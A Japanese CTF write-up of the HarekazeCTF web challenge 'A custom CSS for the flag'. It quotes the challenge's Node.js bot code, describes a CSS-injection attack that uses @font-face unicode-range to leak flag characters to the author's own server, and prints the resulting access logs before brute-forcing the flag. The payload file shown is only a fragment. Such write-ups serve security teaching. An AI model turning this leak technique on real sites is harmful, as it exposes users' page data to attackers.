Rating: 1.0

# ▼▼▼A custom CSS for the flag(Web:250)18/447team=4.0%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Description
Let’s decorate with fashionable CSS in this site(http://problem.harekaze.com:10003/).

Don’t DOS Attack.
```

---

**1.脆弱性の特定**

http://problem.harekaze.com:10003/

```
<html>
<head>
<meta charset="utf8" />
<title>A custom CSS for the flag</title>
<script src='https://www.google.com/recaptcha/api.js'></script>
</head>
<body>
<h1>A custom CSS for the flag</h1>
server.js


The flag is in http://127.0.0.1:3002/flag.html



The flag format is the two CSS3 properties connected by a underscore (_).

Example: HarekazeCTF{background-image_font-size}

<form action="/crawl.html" method="post">
Server side chromium will access the following URL. The URL of CSS file must starts with "http://" or "https://".

http://127.0.0.1:3002/flag.html?css=<input type="text" name="css" />

<div class="g-recaptcha" data-sitekey="6LdemkQUAAAAALOZJWo32hcBTeUxT2clpl2fVqMO"></div>
<input type="submit"/>


Chromium Version : 64.0.3282.119-1~deb9u1
</form>
</body>


```

flagは、`http://127.0.0.1:3002/flag.html`にあり、任意のCSSを設定できる

また、自動読み込み側のブラウザは、`Chromium Version : 64.0.3282.119-1~deb9u1`と書かれている。

CSSインジェクションからデータ抽出すればよいことがわかる。

---

**2.攻撃方法の絞り込み**

CSSインジェクションからデータ抽出する方法はいくつかあるので、どの攻撃が使えるか制約条件を`server.js`のソースコードから確認していく。

CSSのURLの読み込まれ方を確認

```
'use strict';

const express = require("express");
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer');
const https = require('https');
const fs = require("fs");
const app = express();
const request = require("request");

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json())

async function crawl(req, res) {
if(!req.body['g-recaptcha-response']) {
res.send("ReCAPTCHA error.");
return;
}
var verificationUrl = `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET}&response=${req.body['g-recaptcha-response']}&remoteip=${req.connection.remoteAddress}`
request(verificationUrl,async function(error,response,body) {
const recaptcha = JSON.parse(body);
if( recaptcha.success === true ) {
res.send("Crawling");
const browser = await puppeteer.launch({executablePath: '/usr/bin/chromium'});
const page = await browser.newPage();
await page.goto( "http://127.0.0.1:3002/flag.html?css=" + req.body.css, { waitUntil: "load" });
await page.waitFor(20000);
await browser.close();
}else{
res.send("ReCAPTCHA error.");
}
});
};

app.get('/server.js',function (req, res) { res.sendFile("/app/server.js") });
app.post('/crawl.html', crawl);
app.use('/', express.static('public'));
var server = app.listen(3001, function () {
var host = server.address().address;
var port = server.address().port;
console.log('CSS-Injection http://%s:%s', host, port);
});

const app2 = express();
app2.get('/flag.html', function (req, res) {
console.log(req.connection.remoteAddress);
req.query.css = req.query.css || "";
if (req.query.css.startsWith("http://") || req.query.css.startsWith("https://")) {
res.send(`<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<body>
<div id="flag">
HarekazeCTF{${fs.readFileSync("flag.txt")}}
</div>
</body>
</html>`);
} else {
res.send("Bad URI");
}
});
var server2 = app2.listen(3002,"localhost");
```

---

`<link rel="stylesheet" href="${encodeURI(req.query.css)}" />`

まず、CSSは、rel="stylesheet"で読み込まれており、hrefにURLを反映できることがわかる。

---

次に、flagの場所は下記のように、属性の中ではないことがわかる。

```
<div id="flag">HarekazeCTF{${fs.readFileSync("flag.txt")}}</div>
```

これらより、`@font-faceのunicode-rangeを利用する攻撃方法`でデータ抽出できそうだ。

---

**3.exploit**

PHPで下記のようにコードを書いて、flagに使われている文字を抽出していく。

※クロスドメイン通信でのCSS読み込みでは、`Content-Type:text/css`は必須であることに注意する。

`css.php`

```

#flag{ font-family:poc;}
```

---

後は、自サーバの下記のURLにcss.phpを配置して踏ませればよい。

http://{my_server}/css.php

すると、待ち受けているmy_serverにアクセスが来る。

```
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /css.php HTTP/1.1" 200 8116 "http://127.0.0.1:3002/flag.html?css=http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?{ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?z HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?r HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?o HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?k HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?e HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?d HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?b HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?T HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?H HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?a HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?F HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?C HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?- HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?t HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?m HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?l HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?f HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?s HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?u HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?n HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?_ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?} HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?i HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:22 +0000] "GET /?c HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
```

使われている文字が、下記であることがわかった。

`{zorkedbaFTHCtmlfusnic_-}`

↓整理してみる

`HarekazeCTF{odbtmlfusnic_-}`

よって、`{}`の中は`odbtmlfusnic_-`を使うのは必須で、重複も可能なため`abcdef..i.klmno..rstu....z_-`の文字を利用できることがわかった。

---

**4.flagの絞り込み**

flag形式を再確認する

```
The flag format is the two CSS3 properties connected by a underscore (_).

Example: HarekazeCTF{background-image_font-size}
```

2つのCSS3のpropertiesを_で連結している形式であることがわかる。

---

下記のCSS properties Listを参考にした。

```
https://www.w3.org/Style/CSS/all-properties.en.html
http://htmlcss.jp/css/index.html
```

CSS3で新たに使えるようになったもの、使われていない文字`ghjpqvwzy`を元にプロパティを絞り込んだ。

また、組み合わせの確認については、必須文字が12文字なので6文字以上合致しているものを軸に、総当たりで確認していった。

すると、条件を満たすものを複数発見することができた。

```
border-bottom-left-radius × animation-direction
border-bottom-left-radius × animation-iteration-count
border-bottom-left-radius × column-count

border-top-left-radius × column-fill
border-top-left-radius × column-rule-color
border-top-left-radius × column-count

border-top-right-radius × column-fill

dominant-baseline × column-fill
```

8(上記の8個)×2(前後)=16回をブルートフォースしてflagを特定した

`HarekazeCTF{animation-direction_border-bottom-left-radius}`